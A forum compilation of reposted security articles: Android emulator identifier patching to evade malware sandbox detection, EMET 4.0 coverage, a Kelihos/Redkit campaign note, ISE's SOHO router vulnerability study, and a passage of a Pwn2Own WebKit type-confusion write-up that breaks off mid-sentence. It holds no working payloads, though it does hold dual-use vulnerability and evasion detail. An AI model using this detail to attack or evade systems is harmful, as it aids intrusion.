"+CRSM:144,0,ffffffffffffffffffffffffffffffffffff0781515525%d1%d%df%dffffffffffff" The interesting part is 515525%d1 (highlighted in blue). Swapping each set of two digits produces 1555521%d (thanks again CodePainters). That looks like the prefix to our mobile number. Edited in ghex: The edit in the previous screenshot will yield a phone number 1-876-543-[port number]. That gives (mostly) full control over the phone number. The first 7 digits are entirely configurable, and the last four can be any even number in the range 5554 and 5584 inclusive. A malware author could still block based on the last four digits of the phone number. If that starts happening though, I know what the last four digits of my next phone number will be. [h=4]Conclusion[/h] The biggest drawback to this method is that you must keep the length of each value the same, unless you wish to do some serious binary patching. As well, I have not tested these for stability. I will update this blog post with any issues that come to my attention. The following is a before and after screenshot of the target values: GG Posted by dgoddard at 1:22 PM Sursa: VRT: Changing the IMEI, Provider, Model, and Phone Number in the Android emulator

[h=1]Microsoft EMET 4.0 might be the best enterprise security tool you're not using yet[/h]Posted by Chad Loder in Information Security on Apr 22, 2013 10:37:24 AM Cross-posted from dangerous.net Last week Microsoft announced their 4.0 beta release of EMET (Enhanced Mitigation Experience Toolkit). If you are responsible for securing Windows systems, you should definitely be looking at this free tool if you haven't already. EMET is a toolkit provided by Microsoft to configure security controls on Windows systems making it more difficult for attackers to successfully launch exploits. EMET doesn't take the place of antivirus or patch management, but it does provide an important set of safeguards against not only existing exploits, but also against future 0-day exploits which have yet to be developed or released. Even the best signature-based antivirus programs don't do a good job at protecting from 0-days. EMET allows administrators to exercise fine-grained control over Windows' built-in security features in Windows 7 and higher, including: DEP (Data Execution Prevention) ASLR (Address Space Layout Randomization) SEHOP (Structured Exception Handling Overwrite Protection) ROP (Return-Oriented Programming) While DEP and ASLR have been supported by Microsoft since Windows XP SP2 and Windows Vista (respectively), one of the main weaknesses of this mitigation is that existing applications needed to be recompiled by the developer to "opt-in" to these security controls. A great benefit of EMET is that it allows administrators to "force" DEP and ASLR onto existing legacy applications. While there are many exploits out there which bypass DEP and ASLR, it's worth noting that the first versions of these exploits are sometimes thwarted by these controls, which buys you some time for either patches or antivirus detection to become available. There are good reasons why the Australian DSD (Defense Signals Directorate) has included DEP and ASLR on its "Top 35 Mitigations" for two years running. EMET 3.0 and 3.5 introduced the ability to manage EMET via GPO, putting installation and configuration within reach of the enterprise. EMET 4.0 builds on this feature set and includes some very useful new protections, including: SSL certificate pinning - allows mitigation of "man-in-the-middle" attacks by detecting situations where the Root CA for an SSL certificate has changed from the "pinned" value configured in EMET. For example, you can configure EMET to say "There is only a single trusted root CA that should ever be issuing certificates for acme.com, and if I see a certificate for any FQDN ending in .acme.com from a different CA, report this as a potential man-in-the-middle attack. You can pin the CA for entire domains or for individual certificates. EMET 4.0 beta ships with pinned certificates for login.live.com and login.microsoftonline.com, but administrators can add their own. Enhanced ROP mitigation. There is a never-ending arms race between OS and application developers on the one side and exploit developers on the other side. When a new mitigation technique is developed by Microsoft, clever exploit developers work hard to find ways to bypass the mitigation. In the case of ROP mitigations, EMET 3.5 included some basic ROP mitigations that blocked assembly language "return" calls to memory addresses corresponding to known lists of low-level memory management functions in certain DLLs. This rendered a common exploit technique ineffective. However, exploit developers responded with adjusted techniques to bypass EMET's ROP mitigations, such as returning into the memory management code a few bytes beyond the function prologue. I don't have enough time or space to do this fascinating topic justice, but you can read a good overview of ROP exploit techniques here. EMET 4.0 blocks some of these mitigation bypass techniques, which puts the onus back on exploit developers in this cat-and-mouse game. I'm looking forward to the first white paper detailing how the new mitigations can be bypassed. Improved logging. With the new and improved EMET notifier agent, EMET 4.0 does a much better job at logging events to the Windows event log. This opens up the possibility of using a centralized event log monitoring systems such as Microsoft Systems Center Operations Manager (SCOM) 2012 to act as an enterprise-wide early detection system for exploit attempts. Imagine having instantaneous alerting any time EMET blocked an attack on any Windows system across the enterprise. One could also use a free tool like event-log-to-syslog to gather event logs centrally, or even something like Splunk (with universal forwarders) if you don't mind breaking the bank. Another benefit of centrally logging and analyzing EMET events is it will give you early warning on EMET compatibility problems. Past versions of EMET have been known to cause problems with certain applications, for example I found that the LastPass extension for Chrome needed certain EMET settings disabled in order to run. If you haven't used EMET before in your enterprise, you will definitely want to introduce EMET in a limited rollout before going enterprise-wide via GPO. Note any programs requiring exemption or settings customization and make sure those settings are reflected in the GPO policy. Sursa: https://community.rapid7.com/community/infosec/blog/2013/04/22/microsoft-emet-40-might-be-the-best-enterprise-security-tool-youre-not-using-yet

Da, e o idee... Problema principala ar fi de unde vin acei bani, pentru ca e posibil ca unii oameni sa doneze bani care nu le apartin si apoi cine stie, poate apar probleme. Ar mai fi persoane interesate? Practic de plata este doar hosting-ul, insa daca am strange ceva am putea da niste premii, sa organizam niste concursuri. Totul ar fi "open". Ar mai fi doritori sa doneze?

Am citit de 3 ori si tot nu am inteles nimic.

Ia de aici unul dintre cele cu mingw: Download binary codeblocks-12.11mingw-setup.exe codeblocks-12.11mingw-setup_user.exe E cel mai ok pentru inceput.

Complete WordPress Security Authored by Chetan Soni This is a guide to locking down your WordPress install to help mitigate attacks from hackers and spam drive-bys. Wordpress Security 1. Disable custom HTML when possible Added this code in wp-config.php File define( 'DISALLOW_UNFILTERED_HTML', true ); 2. Remove all Default posts and Comments Remove all default posts and comments. If malicious hackers find those on your site, it may indicate to them you have a new Wordpress site, and brand new sites are often easier to crack into. Just to this file “wp-includes/general-template.php” ....................... Download: http://packetstormsecurity.com/files/download/121293/complete-wp-security.pdf Sursa: Complete WordPress Security ? Packet Storm

[h=3]Track program workflow in C++[/h]By Adam Nagy When debugging a program it can be useful to see what path the code is taking. Maybe a function is called at the wrong part in the code somehow. There are trace macros in C++ that you can use, but you can also create your own that could also provide information about the level of nesting where the function is called by indenting the debug/trace string based on the level. You could use a class to make sure that the indentation reverts to previous value when the function is finished: once the class instance runs out of scope its destructor will be called. There must be other/better ways of doing this, but this is still better than not having anything to trace the function calls with. MyTrace.h #pragma once #include <stdio.h> class CMyTrace { private: static int m_indent; public: CMyTrace(LPCTSTR lpszFormat, ...); virtual ~CMyTrace(void); }; // If you comment this one line out then the // debug string part won't be compiled into the project // E.g. you could do that when compiling the release version #define USE_CMYTRACE #ifdef USE_CMYTRACE #define MYTRACE CMyTrace myTrace #else #define MYTRACE #endif MyTrace.cpp #include "StdAfx.h" #include "MyTrace.h" int CMyTrace::m_indent = 0; CMyTrace::CMyTrace(LPCTSTR lpszFormat, ...) { TCHAR szBuffer[512]; _stprintf(szBuffer, _T("%*s"), m_indent * 2, _T("")); ::OutputDebugString(szBuffer); va_list args; va_start(args, lpszFormat); int nBuf; nBuf = _vsntprintf(szBuffer, 511, lpszFormat, args); ::OutputDebugString(szBuffer); ::OutputDebugString(_T("\n")); va_end(args); m_indent++; } CMyTrace::~CMyTrace(void) { m_indent--; } You can call the trace function at the beginning of each of your function. STDMETHODIMP CMyAddInServer::OnActivate (VARIANT_BOOL FirstTime) { MYTRACE(_T("(%s, %d) %s"), _T(__FILE__), __LINE__, _T(__FUNCTION__)); // etc... return S_OK ; } The result in the Output Debug window of Visual Studio would look something like this when debugging the program: (MyAddInServer.cpp, 34) CMyAddInServer::OnActivate (MyCommands.cpp, 9) CMyCommands::CMyCommands (MyCommandBase.cpp, 15) CMyCommandBase::CreateButtonDefinitionHandler (InteractionEventsBase.cpp, 13) CInteractionEventsBase::CInteractionEventsBase (MyCommands.cpp, 41) CMyCommands::CreateMenu (MyUtilities.cpp, 78) CMyUtilities::CreateCommandCategory (MyUtilities.cpp, 9) CMyUtilities::AddButtonToCommandCategory (MyCommandBase.cpp, 107) CMyCommandBase::GetButtonDefinition (MyCommands.cpp, 91) CMyCommands::CreateAssemblyRibbonTab (MyUtilities.cpp, 115) CMyUtilities::GetRibbon (MyUtilities.cpp, 143) CMyUtilities::CreateRibbonTab (MyUtilities.cpp, 461) CMyUtilities::AddRibbonTabToEnvironment (MyUtilities.cpp, 606) CMyUtilities::GetEnvironment (MyUtilities.cpp, 191) CMyUtilities::CreateRibbonPanel (MyUtilities.cpp, 238) CMyUtilities::AddButtonToRibbonPanel (MyCommandBase.cpp, 107) CMyCommandBase::GetButtonDefinition (MyUtilities.cpp, 361) CMyUtilities::FindCommandControl Sursa: Track program workflow in C++ - Manufacturing DevBlog

[h=3]Kelihos via Redkit, mass-infection following unfortnate US disaster news..[/h]We all know about what had happened in US recently, it is a very sad & unfortunate situation. People died during the accident and the malware scums used this for their opportunity, we just can't tolerate it. Dropping the previous tasks and investigate this infection. The point of this post is exposing the malware used network pre and post infection for the dismantling purpose. The information will be added frequently for some deep investigation to mitigate the overall malicious scheme is still on going, and some matter just cannot be published yet. This is the pilot analysis of the current mass-infection, so many variation in the JARs, Kelihos downloaders, range of the new botnets used (it is growing/changing still now). What has been written here is not everything! There are more of these bad-stuff out there online now, so please take this post as a lead to dig and nail deeper. Please also bear me for the regular updates and several additionals. I will post all samples with captured data as usual as soon as I can get time to re-organize back my stuff. OK, here we go.. [h=2]Big picture of current infection[/h] Samples used for analysis: [h=2]Source of infection[/h] Redkit Exploit Kit was used in this scheme, the crocodiles was finally coming to the surface for the chance to perform a mass hit in timing like this. You'll see the front infector in spams with the below rules: ? [TABLE] [TR] [TD=class: gutter]1 2 3 [/TD] [TD=class: code]http://[whatever domain OR IP address]/news.html http://[whatever domain OR IP address]/boston.html http://[whatever domain OR IP address]/texas.html [/TD] [/TR] [/TABLE] Every researchers are also doing great job by putting the link in URLquery. You shall see it in here : [1] [2] [3] I took below first unique pattern as example for this analysis: Link: Malware Must Die!: Kelihos via Redkit, mass-infection following unfortnate US disaster news..

[h=3]Introducing EMET v4 Beta[/h]swiat 18 Apr 2013 10:18 AM Great news! Today we are proud to announce a beta release of the next version of the Enhanced Mitigation Experience Toolkit (EMET) – EMET 4.0. Download it here: Download EMET 4.0 Beta from Official Microsoft Download Center EMET is a free utility that helps prevent memory corruption vulnerabilities in software from being successfully exploited for code execution. It does so by opt-ing in software to the latest security mitigation techniques. The result is that a wide variety of software is made significantly more resistant to exploitation – even against zero day vulnerabilities and vulnerabilities for which an available update has not yet been applied. We encourage you to test out the beta release by downloading and installing it, asking questions about the new features, and reporting any issues you find for us to address before the final release. We plan to officially release EMET 4.0 on May 14, 2013. The feature set for this new version of the tool was inspired by our desire for EMET to be an effective mitigation layer for a wider variety of potential software exploit scenarios, to provide stronger protections against scenarios where EMET protection already exists, and to have a way to respond to 0day exploits as soon as possible. Here are the highlights of the EMET 4.0 feature set: EMET 4.0 detects attacks leveraging suspicious SSL/TLS certificates EMET 4.0 strengthens existing mitigations and blocks known bypasses EMET 4.0 addresses known application compatibility issues with EMET 3.0 EMET 4.0 enables an Early Warning Program for enterprise customers and for Microsoft EMET 4.0 allows customers to test mitigations with “Audit Mode” SSL/TLS Certificate Trust features EMET 4.0 allows users to configure a set of certificate pinning rules to validate digitally signed certificates (SSL/TLS certificates) while browsing with Internet Explorer. This option allows users to configure a set of rules able to match specific domains (through their SSL/TLS certificates) with the corresponding known Root Certificate Authority (RootCA) that issued the certificate. When EMET detects the variation of the issuing RootCA for a specific SSL certificate configured for a domain, it will report this anomaly as an indicator of a potential man-in-the-middle attack. Advanced users can also add exceptions for each pinning rule. This will allow EMET to accept SSL/TLS certificates even if the pinning rule doesn’t match. Exceptions are related to some properties of the RootCA certificate, such as key size, hashing algorithm, and issuer country. Strengthened mitigations, blocking bypasses We learned a great deal during the “Technical Preview” phase of EMET 3.5. We saw researchers poking and presenting clever tricks to bypass EMET’s anti-ROP mitigations. EMET 4.0 blocks these bypasses. For example, instead of hooking and protecting only functions at the kernel32!VirtualAlloc layer of the call stack, EMET 4.0 will additional hook lower level functions such as kernelbase!VirtualAlloc and ntdll!NtAllocateVirtualMemory. These “Deep Hooks” can be configured in EMET’s Advanced Configuration. We have seen exploits attempt to evade EMET hooks by executing a copy of the hooked function prologue and then jumping to the function past the prologue. With EMET 4.0’s “Anti detours” option enabled, common shellcode using this technique will be blocked. Finally, EMET 4.0 also includes a mechanism to block calls to banned API’s. For example, a recent presentation at CanSecWest 2013 presented a method of bypassing ASLR and DEP via ntdll!LdrHotPatchRoutine. EMET 4.0’s “Banned API” feature blocks this technique. Application compatibility fixes Users of previous versions of EMET had encountered isolated compatibility issues when enabling mitigations on both Microsoft and third party software. EMET 4.0 addresses all these known app-compat issues. That list includes issues in the following areas: - Internet Explorer 9 and the Snipping Tool - Internet Explorer 8’s Managed Add-ons dialog - Office software through SharePoint - Access 2010 with certain mitigations enabled - Internet Explorer 10 on Windows 8 The EMET 4.0 installer also opts-in protection rules with certain mitigations disabled where we know a mitigation interacts poorly with certain software. Examples include Photoshop, Office 2013’s Lync, GTalk, wmplayer, and Chrome. Early Warning Program for enterprise customers and for Microsoft When an exploitation attempt is detected and blocked by EMET, a set of information related to the attack is prepared with the Microsoft Error Reporting (MER) functionality. For enterprise customers collecting error reports via tools like Microsoft Desktop Optimization Package or the Client Monitoring feature of System Center Operations Manager, these error reports can be triaged locally and used as an early warning program indicating possible attacks against the corporate network. For organizations that typically send all error reports to Microsoft, this information will add to the set of indicators we use to hunt attacks in the wild, and will facilitate the remediation of issues with security updates before vulnerabilities become a large scale threat. The EMET Privacy Statement (available also via the main EMET window) includes more information about the type of data that will be sent in the error report via Microsoft Error Reporting. The Early Warning Program is enabled by default for the EMET 4.0 Beta and can be disabled in the EMET UI or via the EMET command line component. We are eager to hear customer feedback about this feature to help shape the Early Warning Program for the EMET 4.0 final release. Audit Mode When previous versions of EMET detected exploitation attempts, it would report the attack via the EMET agent and then terminate the program to block the attack. For EMET 4.0, in response to customer feedback, we provided an option to configure EMET’s behavior when it detects an exploitation attempt. The default option remains to terminate the application. However, customers wanting to test EMET in a production environment can instead switch to “Audit Mode” to report the exploitation attempt but not terminate the process. This setting is not applicable for all mitigations but we provide this option whenever possible. Other Improvements EMET 4.0 includes a bunch of other improvements. The quantity of new features and volume of work put into this release is the reason we skipped the EMET 3.5 full release and jumped straight to EMET 4.0. Please refer to the EMET 4.0 Beta Users Guide for the full set of features but here are several other highlights: - EMET Notifier becomes EMET Agent, with new duties and functionalities - More granular reporting options (tray icon, event log, both, or none) - New default profiles for both mitigations and Certificate Trust - Registry configuration to customize the EMET Agent’s messaging - Optimized RopCheck for significantly better performance - Numerous UI tweaks to make EMET easier to use - Enable wildcard support when adding applications to be protected - Allow processes to be protected even if they do not have .exe extension - Switched to .NET Framework 4.0 - EMET is an officially supported Microsoft tool with support available for customers with Premier contract We are eager to hear feedback on this new version of EMET! This beta period is a short four weeks – we learned our lesson from the long EMET 3.5 Technical Preview about crisp timelines and short beta periods. We need to get customer feedback during this beta period, before the official release of EMET 4.0. Some of the EMET 4.0 feature set came straight from customer feedback. We want to make EMET a tool that you feel great about deploying and configuring in your environment. This beta period provides an option to get the feedback of early adopters before it goes live to everyone. Please email us at emet_feedback@microsoft.com with any feedback, questions, or suggestions. And download EMET 4.0 Beta today and try it out. Thanks, The EMET Team Sursa: Introducing EMET v4 Beta - Security Research & Defense - Site Home - TechNet Blogs

[h=1]Exploiting SOHO Routers[/h]Read more about these router hacks on CNET [TABLE] [TR] [TD]For more information on this routers project, you can contact us at[/TD] [TD][/TD] [/TR] [/TABLE] Alternatively, click here to contact ISE regarding general inquiries about the company. [h=2]Introduction[/h] ISE researchers have discovered critical security vulnerabilities in numerous small office/home office (SOHO) routers and wireless access points. We define a critical security vulnerability in a router as one that allows a remote attacker to take full control of the router's configuration settings, or one that allows a local attacker to bypass authentication and take control. This control allows an attacker to intercept and modify network traffic as it enters and leaves the network. All 13 routers evaluated can be taken over from the local network 4 of these attacks require no active management session. [*]11 of 13 routers evaluated can be taken over from the WAN 2 of these attacks require no active management session. [h=4]Motivation[/h] Despite being widely distributed and deployed in nearly every modern home and small office, SOHO networking equipment has received surprisingly little attention from security researchers. Yet, these devices facilitate the connectivity and protection (we hope) of millions of end-systems. The critical vulnerabilities that persist in these widely used devices demonstrate an urgent need for deeper scrutiny. ISE initially set out to evaluate the security of ten popular, off-the-shelf SOHO wireless routers. The final scope of the research project was expanded to include thirteen unique devices. Our research indicates that a moderately skilled adversary with LAN or WLAN access can exploit all thirteen routers. We also found that nearly all devices had critical security vulnerabilities that could be exploited by a remote adversary, resulting in router compromise and unauthorized remote control. At least half of the routers that provided network attached storage (NAS) were found to be accessible by a remote adversary (full details will be disclosed in a future article). We further categorize these remotely and locally accessible vulnerabilities by indicating their associated attack requirements: Trivial attacks can be launched directly against the router with no human interaction or access to credentials. Unauthenticated attacks require some form of human interaction, such as following a malicious link or browsing to an unsafe page, but do not require an active session or access to credentials. Authenticated attacks require that the attacker have access to credentials (or that default router credentials are used—an all-too-common situation) or that a victim is logged in with an active session at the time of the attack. We considered client-side attacks to be in scope, so long as they consist entirely of HTML and JavaScript code running in a web browser. [h=2]Summary[/h] [TABLE=class: summary] [TR] [TD][/TD] [TD=colspan: 3]Remote Adversary[/TD] [TD=colspan: 3]Local Adversary[/TD] [/TR] [TR] [TD]Router[/TD] [TD]Trivial [/TD] [TD]Unauthenticated [/TD] [TD]Authenticated [/TD] [TD]Trivial [/TD] [TD]Unauthenticated [/TD] [TD]Authenticated [/TD] [/TR] [TR] [TD]Linksys WRT310Nv2[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD]Belkin F5D8236-4 v2[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD]Belkin N300[/TD] [TD][/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [/TR] [TR] [TD]Belkin N900[/TD] [TD][/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [/TR] [TR] [TD]Netgear WNDR4700[/TD] [TD][/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [/TR] [TR] [TD]TP-Link WR1043N[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD]Verizon Actiontec[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD]D-Link DIR-865L [/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD][TBA] b1e8eeedc75ce026 \ de8a06d263d13102 [/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD][TBA] b1e8eeedc75ce026 \ de8a06d263d13102 [/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD][TBA] b20b6d0d8fd1cc92 \ c57877b97df7eace [/TD] [TD][/TD] [TD][/TD] [TD][/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [TR] [TD][TBA] 8575fb543c72cf44 \ 83f8ee69dbcbca64 [/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [TD]X[/TD] [/TR] [TR] [TD][TBA] 235aee1fa6109f3a \ 5972e47839bae964 [/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [TD][/TD] [TD][/TD] [TD]X[/TD] [/TR] [/TABLE] [h=2]Important notes[/h] Disclaimer. ISE did not exhaustively evaluate these routers, and in no way asserts that other product vulnerabilities do not exist. Many of these routers enable by default—or provide the capability to enable—telnet, ftp, and other services that have not been fully investigated. Our research was directed at assessing the ubiquity of these vulnerabilities, and not the number of issues present in any specific router model, or through any particular service or form of attack. Remote services. None of the routers evaluated enabled remote administration by default, or any remote services . However, this option is available to administrators, and if enabled, drastically increases the router's exploitability in each case. ISE recommends administrators not enable remote administration, or remote services under any circumstances. Remote compromise definition. We define remote compromise as full control of a router at the operating-system level by an adversary inside or outside of the router's domain. Fully updated. Prior to our evaluation, all routers were updated to the latest firmware, and tested with out-of-the-box configuration settings. [h=2]Impact; new threats[/h] SOHO router vulnerabilities impact consumers in a number of ways that differ from the vulnerabilities that typically afflict end-systems, and through those vulnerabilities new threats arise. The number of parties affected by an individual or widespread router compromise is expanded, there could be lasting damage to users or soho networking device vendors, and detecting or recovering from an exploit of this type can be difficult. [h=4]Affected parties: who is the victim?[/h] A typical end-system compromise pegs the end-user as the victim. Certainly, advanced threats leverage end-system compromise to gain a network foothold and attempt to compromise lateral systems, but in general there is one victim, and one party responsible for cleaning up the mess. A SOHO router compromise not only affects that device, but the many end-systems it supports, the infrastructure of which it is a part, the community of sites visited by the end-users, and even the soho networking device vendor. [h=4]Implications[/h] The impact of these routers' security flaws is exacerbated by the fact that unauthenticated attacks can target not only the administrator of a victim router's (W)LAN, but any user on the (W)LAN. A parent or child in the case of the home, any or all students behind a university router, or any guest or untrained user of a small office or enterprise network can be targeted and leveraged to gain full control of the SOHO networking device, which may also lead to additional attacks being launched against other users. [h=4]Significance of compromise[/h] Once compromised, any router—SOHO or otherwise—may be used by an adversary to secure a man-in-the-middle position for launching more sophisticated attacks against all users in the router's domain. This includes sniffing and rerouting all non-SSL protected traffic, poisoning DNS resolvers, performing denial of service attacks, or impersonating servers. Worse still, is that these routers are also firewalls, and often represent the first (and last) line of defense for protecting the local network. Once compromised, the adversary has unfettered access to exploit the vulnerabilities of local area hosts that would be otherwise unreachable if the router were enforcing firewall rules as intended. [h=4]Difficult Recovery; Persistent issue[/h] The overall community impact could be much worse. Considering that many soho networking device administrators are not computer or security savvy, default settings are undoubtedly prevalent. Even in the case where the vulnerabilities identified here and elsewhere are addressed by the vendor, it may not be reasonable to expect that SOHO networking device owners know about these issues, or will upgrade/patch their routers' firmware, which is the predominant distribution mechanism for SOHO networking device updates. In such cases, the vulnerabilities may remain unresolved indefinitely. "Bricking" of SOHO networking devices could also become an issue due to the cumbersome and unauthenticated nature of the firmware upgrade process. As we've identified, in all routers evaluated a remote adversary can replace a vendor's firmware with their own. If such firmware were (intentionally) faulty, it could render a device unusable. The damage to users and vendors could be significant depending upon the number of devices in the field, the rate at which they can be compromised or "bricked," and the cost to replace or repair them. [h=4]Large-scale threats[/h] So far we have acknowledged that users belonging to an affected router's domains are at risk, but if any ISP deploys a router at scale with these types of vulnerabilities—or has many customers using routers with these types of vulnerabilities—an adversary may leverage the vulnerabilities to directly attack the provider, core infrastructure, or other organizational targets, e.g., corporations and nation-states. This also presents a large surface for new botnet deployment or command and control (C2) strategies to facilitate DDoS attacks and cybercrime activities. [h=2]Mitigations[/h] Unfortunately, there is little the average end-user can do to fully mitigate these attacks. Successful mitigation often requires a level of sophistication and skill beyond that of the average user (and beyond that of the most likely victims). [h=4]Recommendations for Vendors[/h] SOHO networking device VENDORS should take the following actions to help mitigate these issues. Prepare and make available firmware upgrades that address these issues. Notify registered users of these vulnerabilities, and distribute instructions on how to upgrade device firmware. Regularly audit devices for security vulnerabilities, produce and distribute security patches in a timely manner, and notify registered customers. SOHO networking device VENDORS should incorporate the following design changes in to their product lines. Using authenticated (digitally signed, and verifiable by the router) firmware updates. Designing a method for automatic firmware updates, that can be opted out of by users. Perform regular security audits to ensure devices are as hardened as possible. [h=4]Recommendations for Device Administrators[/h] SOHO networking device ADMINISTRATORS should take the following actions to help mitigate these issues. Upgrade your firmware regularly. Disable (or do not enable) remote administration. Disable (or do not enable) network services that are not utilized within the LAN, e.g., FTP, SMB, UPnP. Log out from, and restart, your SOHO networking device after logging in for administrative tasks. Clear browser cookies and active logins after logging out from your router. Choose a non-standard (W)LAN IP address range (subnet), which will make generic automated attacks less effective against your network. If possible, enable HTTPS for all administrative connections. For all of the routers we evaluated that had this feature, it was disabled by default. Make sure your WLAN is protected using WPA2 encryption and is not left as an open WiFi network or protected with the outdated WPA or WEP standards. ONLY install firmware from the router manufacturers website. Choose a secure router administration password consisting of upper/lowercase alphanumeric and special characters that is at least 12 characters in length. If your SOHO device is behind an additional firewall, restrict inbound access to this device from the greater WAN. [h=4]Recommendations for End Users[/h] END-USERS behind SOHO networking devices should take the following actions to help mitigate these issues. Do not discount browser or other software warnings of potential MITM attacks. Do not follow links sent through email or by other means, especially ones that are directed to what could potentially be a SOHO networking device (e.g., 192.168.2.1). Be diligent, and browse safely. [h=2]Disclosures[/h] For all vulnerabilities identified in this research, ISE has disclosed the issues to the product vendors through their typical vulnerability reporting mechanism, as well as any other channels for which we had access. We've given what we believe is adequate time to address the issues disclosed, and to the extent it has been reasonable, we've helped those vendors develop or implement mitigations. We welcome all vendor feedback, and are happy to assist with any additional information that may facilitate a quick resolution to any of these vulnerabilities. Beyond the vulnerabilities listed in this case study, our research has brought to light 17 issues that have received Common Vulnerabilities and Exposure (CVE) numbers, and 21 CVE submissions pending. CVE-2013-0126: Cross-Site Request Forgery CVE-2013-2644: FTP Directory Traversal CVE-2013-2645: Cross-Site Request Forgery CVE-2013-2646: Denial of Service CVE-2013-3064: Unvalidated URL Redirect CVE-2013-3065: DOM Cross-Site Scripting CVE-2013-3066: Information Disclosure CVE-2013-3067: Cross-Site Scripting CVE-2013-3068: Cross-Site Request Forgery CVE-2013-3069: Cross-Site Scripting CVE-2013-3070: Information Disclosure CVE-2013-3071: Authentication Bypass CVE-2013-3072: Unauthenticated Hardware Linking CVE-2013-3073: SMB Symlink Traversal CVE-2013-3074: Media Server Denial of Service CVE-2013-3083: Cross-Site Request Forgery CVE-2013-3084: Cross-Site Scripting CVE-2013-3085: Authentication Bypass CVE-2013-3086: Cross-Site Request Forgery CVE-2013-3087: Cross-Site Scripting CVE-2013-3088: Authentication Bypass CVE-2013-3089: Cross-Site Request Forgery CVE-2013-3090: Cross-Site Scripting CVE-2013-3091: Authentication Bypass CVE-2013-3092: Failure to Validate HTTP Authorization Header CVE-2013-3095: Cross-Site Request Forgery CVE-2013-3096: Unauthenticated Hardware Linking CVE-2013-3097: Cross-Site Scripting [h=2]Related Work[/h] As stated earlier in this article, there has been little research published in the area of SOHO router security, however some interesting results have been disclosed by security researchers in recent years. In March, 2013, Michael Messner disclosed vulnerabilities ranging from minor to critical in D-Link, TP-Link, Netgear, and Linksys routers. The vulnerabilities disclosed included authenticated and unauthenticated arbitrary command injection, information disclosure, unencrypted password storage, directory traversal, and persistent cross-site scripting. In January, 2013, HD Moore disclosed that numerous home routers exposed UPnP services, including SSDP Discovery and SOAP, to the Internet (WAN) side of the device. This could lead to remote attackers modifying firewall rules or accessing private media files using DLNA. Worse, many of the UPnP implementations had numerous buffer overflow vulnerabilities. Also in January, 2013, DefenseCode released an advisory describing a remote, unauthenticated format string vulnerability in the Broadcom UPnP software that escalated to root shell access. At BlackHat 2012, Phil Purviance (Superevr) demonstrated a cross-site file upload vulnerability in the Linksys WRT54GL. In early 2013, Purviance researched the Linksys EA2700 and found numerous vulnerabilities, including cross-site scripting, directory and file traversal, unauthenticated password changes, and source code disclosure vulnerabilities. In May, 2012, it was disclosed that WiFi Protected Setup (WPS) uses an eight-digit PIN for authentication, and an attacker can determine if the first four digits of an attempted PIN are correct, without regard to the last four. Worse, as this CERT vulnerability disclosed, many home routers fail to implement any rate limiting after successive incorrect PIN attempts. At BlackHat 2009, Felix Lindner explored the feasibility and techniques that could be used to attack commercial grade routers. He found very few public vulnerabilities in this class of equipment. [h=2]Future work[/h] Six months after releasing the advisories for the 13 routers, ISE will upgrade the firmware on all 13 routers and perform a reassessment to determine what—if any—impact deeper scrutiny from the security community has brought to the SOHO router industry. ISE may also expand the scope of the next study to include additional routers. [h=2]Attribution and acknowledgments[/h] This research was conducted by Jacob Holcomb of Independent Security Evaluators and directed by Stephen Bono and Sam Small. Jacob Thomspon, Kedy Liu, Jad Khalil, and Vincent Faires made additional contributions. [h=2]References[/h] Messner, Michael. Multiple Vulnerabilities in D-Link DIR-600 and DIR-300. Revision B. February 2013. Beardsley, Tom. Weekly Update: Consumer-Grade Hacking, Attribution and Testing, and Msfupdate updates. Rapid7 Metasploit Blog. March 28, 2013. Moore, HD. Security Flaws in Universal Plug and Play. Rapid7, Inc., January 2013. Broadcom UPnP Remote Preauth Code Execution Vulnerability. January 31, 2013. Allar, Jared. WiFi Protected Setup (WPS) PIN brute force vulnerability. US CERT Vulnerability #723755. May 10, 2012. Lindner, Felix. Router Exploitation. Black Hat 2009. Purviance, Phil. Don't Use Linksys Routers. Superevr. April 5, 2013. Mimoso, Michael. Serious Vulnerabilities Found in Popular Home Wireless Routers. threatpost. April 8, 2013. Sursa: Hacking and Rooting SOHO Home Routers

[h=2]MWR Labs Pwn2Own 2013 Write-up - Webkit Exploit[/h] Recently, MWR Labs took part in the Pwn2Own 2013 competition in Vancouver, demonstrating a full sandbox bypass exploit against Google Chrome (1). The exploit used two vulnerabilities: A type confusion in WebKit, Chrome’s rendering engine at the time (CVE-2013-0912) A kernel pool overflow in Microsoft Windows, the underlying operating system This blog post will provide in-depth technical details of the first vulnerability, with a second blog post upcoming to detail the second vulnerability. [h=3]The Vulnerability[/h] The vulnerability in WebKit (2) was a type confusion vulnerability in the handling of view targets in SVG documents. When loading an SVG document into a web page, it is possible to specify a viewTarget for the document, which specifies a target for the current view. The vulnerable code from WebCore/svg/SVGViewSpec.cpp that was used to retrieve this property of an SVG document is shown below. SVGElement* SVGViewSpec::viewTarget() const { if (!m_contextElement) return 0; return static_cast<SVGElement*>(m_contextElement->treeScope()->getElementById(m_viewTargetString)); } m_viewTargetString in this context is the string assigned to the viewTarget property of the SVG document. The code gets the element with the corresponding id from the SVG document, casts it to an SVGElement, and returns a handle to JavaScript. The assumption is that the element returned from the call to getElementById() will be an SVG element. However, it is possible to embed non-SVG elements inside an SVG document using the foreignObject tag. Setting the SVG document’s viewTarget property to an id of a non-SVG element inside a 